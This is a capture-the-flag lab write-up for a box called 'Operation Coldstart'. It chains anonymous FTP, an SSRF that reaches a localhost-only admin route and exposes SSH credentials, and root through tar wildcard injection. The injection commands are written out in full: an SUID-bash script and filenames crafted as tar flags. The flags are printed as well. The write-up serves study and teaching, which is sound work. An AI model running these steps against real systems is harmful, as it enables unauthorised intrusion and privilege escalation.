☼
⌃
☰

Operation Coldstart

Table of Contents

Description

Volt Labs, a small SAAS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.

Related: Command Injection

CTF

Enumeration

Port scan

SHELL
nmap -sV -sC --open -T4 $IP
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 May 09 23:14 pub
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    Gunicorn
|_http-title: URL Preview - Volt Labs

Anonymous FTP

pub directory readable anonymously — contains backup.tar.gz, source code for the web application.

SHELL
curl -s ftp://anonymous:anonymous@10.129.179.153/pub/backup.tar.gz -o backup.tar.gz
tar xzf backup.tar.gz

Contents: Readme.md, requirements.txt (flask, requests, gunicorn), app.py.

Readme.md confirms admin routes are gated by a source-IP check (localhost only) — directly relevant to the vulnerability found below.

Source review — app.py

PYTHON
from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests

app = Flask(__name__)

# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}

@app.route("/preview")
def preview():
    target = request.args.get("url", "")
    # VULN: hostname allow-list is the only check. No scheme check, no
    # path check, no localhost-rebind protection.
    host = (urlparse(target).hostname or "").lower()
    if host not in ALLOWED_HOSTS:
        return page("Preview Blocked", ...), 403
    r = requests.get(target, timeout=3)
    ...

@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
    if not request.remote_addr.startswith("127."):
        abort(403)
    if p == "notes":
        with open("/opt/voltlabs-preview/admin_notes.txt") as f:
            return "<pre>" + f.read() + "</pre>"
    return "<pre>Volt Labs admin endpoint.</pre>"

Two findings combine into one exploitable chain:

  1. /admin/ is gated by source IP, not authentication — it trusts 127.* as proof of authority.
  2. /preview allow-lists a single hostname, kestrel.thm, which is confirmed (via comment + /etc/hosts) to resolve to 127.0.0.1 on the box itself.

Since the allow-listed hostname is localhost, the SSRF is usable against the app's own admin routes — the outbound request the app makes to itself satisfies the IP check trivially, because it genuinely originates from 127.0.0.1.

Foothold

SSRF to admin credential disclosure

http://10.129.179.153/preview?url=http://kestrel.thm/admin/notes
<pre>=== INTERNAL ===
SSH access for staging:
  user: webdev
  pass: V0ltLabs#summer
- Mara
</pre>

SSH access

SHELL
ssh webdev@10.129.179.153
cat user.txt

User flag: THM{96dc7bd50d2fb98fcece01560788b5ab}

Privilege Escalation

Enumeration

Ran linpeas. Identified a root cron job at /etc/cron.d/voltlabs-backup:

SHELL
# Volt Labs staging backup - runs as root
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *

webdev has write access to /opt/backups, and the wildcard (*) in the tar invocation is unquoted — a classic tar wildcard injection: since tar expands the glob itself, filenames crafted to look like tar CLI flags get parsed as flags rather than filenames.

Tar wildcard injection — SUID root shell

SHELL
cd /opt/backups

# payload script — copies bash and sets the SUID bit
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh

# filenames that tar's wildcard expansion turns into CLI flags
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

Once the cron job fires (every minute), tar interprets these filenames as --checkpoint=1 and --checkpoint-action=exec=sh shell.sh, causing it to execute shell.sh as root mid-archive.

SHELL
/tmp/rootbash -p
cat /root/flag.txt

Root flag: THM{e6ee84a483d67ade06936fcfd1433e8a}

Flags

Flag Value Status
User flag THM{96dc7bd50d2fb98fcece01560788b5ab} DONE
Root flag THM{e6ee84a483d67ade06936fcfd1433e8a} DONE

Findings Summary

Finding Classification Severity
Anonymous FTP exposing application source and backups Security Misconfiguration Medium
Source-controlled credentials committed to backup archive Information Disclosure / Hardcoded Credentials High
Admin route access control relies on source IP, bypassable via SSRF Server-Side Request Forgery (SSRF) leading to Broken Access Control Critical
Cron job with unquoted wildcard in tar invocation, exploitable by lower-privileged user Security Misconfiguration (Privilege Escalation) Critical

Notes

Good demonstration of SSRF used specifically to defeat an IP-based access control, rather than the more commonly-drilled "read internal file" or "hit cloud metadata" SSRF patterns. The access control itself wasn't broken in isolation — it correctly verified the request's source IP — but trusted that IP as a proxy for authorization without accounting for a same-host service that could be coerced into making the request on the attacker's behalf. Worth keeping this framing distinct from classic SSRF-to-file-read when classifying findings: this is SSRF as an access control bypass technique, not solely a data disclosure vector.

Tar wildcard injection is a different privesc pattern than the GTFOBins-style "leverage a known binary in sudoers" seen in Silent Monitor and Operation Promotion — this one exploits how a shell glob interacts with a specific command's own flag parsing, rather than a documented binary capability. Worth its own technique note given this is the first CTF rep of it in the KB.